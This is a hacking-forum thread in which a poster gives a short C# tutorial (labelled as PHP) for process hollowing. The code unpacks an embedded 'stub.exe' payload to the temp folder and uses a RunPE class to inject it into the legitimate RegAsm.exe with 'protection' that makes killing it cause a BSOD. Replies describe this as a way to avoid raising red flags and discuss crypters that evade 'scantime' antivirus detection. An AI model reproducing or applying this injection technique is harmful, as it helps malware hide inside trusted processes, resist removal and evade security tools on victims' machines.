[Voidlight]

Firstly we want to open the project properties




Secondly, we must add the stub.exe we wish to run into our project's resources. This can be done by navigating to Solution Explorer and clicking on Properties. At the top tabs, click the down arrow next to the Add Resources button to get the dropdown. Click on Add Existing File




The following code can be implemented anywhere in your project, but for the purpose of this tutorial, I will be placing it into a static method called InjectIntoRegAsm()


Here is our first line:
This string contains the path to the executable you wish to inject into. For this tutorial I will be injecting into RegAsm.exe located in .Net Framework folder.

PHP Code


<?php 
//Injection directory in this case is pointing to RegAsm.exe located in the .Net framework folder.
string injectionPath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), "RegAsm" + ".exe"); 


Here is our second line:
We are setting up the path to where we are going to write the bytes of our embedded stub

PHP Code


<?php 
//pathToStubEXE = windows temp folder + payload name
string pathToStubEXE = Path.Combine(Path.GetTempPath(), "stub.exe"); 


Here is our third line:
Read comments to understand

PHP Code


<?php 
//Take the payload bytes stored in resources and write it to pathToStubEXE location
//Payload.Properties.Resources.stub refers to the location in resources containing the binary you want to inject.
//Change "Payload" to your project name
File.WriteAllBytes(pathToStubEXE, Payload.Properties.Resources.stub); 


Final line:
This is where we perform the RunPE injection after setting up all the variables we need and unpacking the stub

PHP Code


<?php 
//Using RunPE class, inject the unpacked exe into regasm.exe and run it with process protection
//Third parameter checks if we want to protect the injected process or not
RunPE.Run(injectionPath, File.ReadAllBytes(pathToStubEXE), true); 


RunPE Class by Artiist:
RunPE Pastebin

[Elijah]

Sorry for a noob question, am not a programmer.
"protected process" = Wont be able to kill process in win 10?

[guardian]

Sorry for a noob question, am not a programmer.
"protected process" = Wont be able to kill process in win 10?

I think by 'protected process' he is referring to the legitimate process he is injecting his shellcode into, in order to avoid raising any red flags.

[Voidlight]

Sorry for a noob question, am not a programmer.
"protected process" = Wont be able to kill process in win 10?

It will make the exe you injected into cause a BSOD if ended.

[StarZ]

Why are you writing the payload to the disc? Dropping the payload makes this scantime, not runtime. So essentially pointless. Also, The payload is what you're protecting, the stub is the basis for the output.

[Voidlight]

Why are you writing the payload to the disc? Dropping the payload makes this scantime, not runtime. So essentially pointless. Also, The payload is what you're protecting, the stub is the basis for the output.

This is a tutorial on how to implement the RunPE class, not on how to make a crypter. Dropping the exe was an example. Yes you can easily just read the bytes directly into the RunPE class instead of first dropping it

[StarZ]

This is a tutorial on how to implement the RunPE class, not on how to make a crypter. Dropping the exe was an example. Yes you can easily just read the bytes directly into the RunPE class instead of first dropping it

A tutorial on one line of code? Neato. If you're going to do something, do it properly.

[Voidlight]

A tutorial on one line of code? Neato. If you're going to do something, do it properly.

How would you do it?

[StarZ]

How would you do it?

I would show them how to properly implement it in a realistic project, It's not hard anyways. If they don't know how to call a function, they have no business in an IDE. They should go back and learn the basic fundamentals and logic behind what we do.

[arsium]

Seems similar to : https://github.com/NYAN-x-CAT/CSharp-Run...E/RunPE.cs